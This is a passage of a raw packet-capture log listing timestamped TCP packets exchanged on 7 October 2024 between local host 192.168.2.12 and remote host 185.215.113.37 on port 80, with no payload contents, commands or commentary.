Oct 7, 2024 18:03:15.219909906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219919920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219921112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219933033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219940901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219965935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.220509052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220520020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220530033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220540047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220551014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220560074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220561028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.220568895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.220571995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220585108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.220587969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.220613956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.220639944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221131086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221142054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221153021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221162081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221172094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221179962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221184015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221194983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221203089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221208096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221220970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221220970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221235991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221244097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221250057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221251965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221263885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221276999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221282005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221287966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221290112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221308947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221364021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221824884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221836090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221847057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221858025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221867085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221877098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221905947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221930981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221941948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221951008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221961021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221966982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221971989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221982956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.221992016 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.221992970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222003937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222018003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.222037077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.222822905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222836971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222846985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222856998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222867966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222877026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.222878933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222887993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.222889900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222902060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222909927 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.222913980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222925901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.222928047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.222985983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.222985983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.223505020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223516941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223526955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223537922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223548889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223556042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.223557949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223570108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223577023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.223581076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223592997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223597050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.223603964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223606110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.223611116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.223654032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.352679014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352699041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352710962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352741003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352758884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352830887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.352864981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.352879047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352890968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352902889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.352930069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.352942944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353105068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353116989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353127003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353144884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353152990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353157043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353168964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353178024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353182077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353188038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353218079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353640079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353652000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353662968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353691101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353703022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353769064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353780031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353790998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.353822947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.353844881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354007006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354017973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354027987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354053020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354064941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354069948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354075909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354088068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354093075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354118109 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354140043 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354604959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354614973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354625940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354635954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354646921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354656935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354662895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354667902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354681015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.354688883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354705095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.354732037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.355106115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355117083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355128050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355138063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355148077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355149984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.355158091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355160952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.355170012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355180025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355191946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355195045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.355202913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.355230093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.355664968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355676889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355688095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.355712891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.355726004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356024981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356035948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356046915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356075048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356095076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356117010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356128931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356159925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356456041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356467009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356504917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356576920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356589079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356600046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356610060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356621027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356631994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356633902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356646061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356654882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.356904030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.356951952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357033968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357044935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357054949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357065916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357075930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357084036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357086897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357099056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357109070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357110023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357125044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357148886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357527971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357570887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357657909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357667923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357677937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357688904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357698917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357709885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.357717037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357728958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.357752085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.358009100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.358021021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.358052969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.358064890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493321896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493344069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493355036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493407965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493451118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493473053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493484974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493495941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493515968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493540049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493669033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493680000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493690968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493700981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493714094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493741989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493900061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493911028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493922949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493932962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493942022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493947029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.493964911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.493988037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494158030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494168043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494204998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494205952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494216919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494226933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494239092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494249105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494249105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494266033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494287968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494545937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494556904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494585037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494596958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494605064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494610071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494627953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494645119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494776011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494810104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494872093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494883060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.494916916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.494965076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495002031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.495167971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495235920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495244980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495284081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.495307922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.495312929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495362997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.495430946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495441914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495477915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.495551109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495560884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495570898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.495589972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.495604992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496335030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496392012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496402979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496412039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496429920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496443987 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496550083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496561050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496572971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496592999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496611118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496763945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496774912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496786118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496805906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496829987 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.496943951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496954918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496965885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.496987104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.497009039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498178005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498225927 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498226881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498243093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498275042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498339891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498349905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498383999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498435974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498486042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498496056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498528004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498552084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498610973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498622894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498652935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498665094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498810053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498825073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498837948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498847961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498867035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498884916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498886108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498898983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.498915911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.498939991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499032021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499042988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499053955 CEST	80	49711	185.215.113.37	192.168.2.12
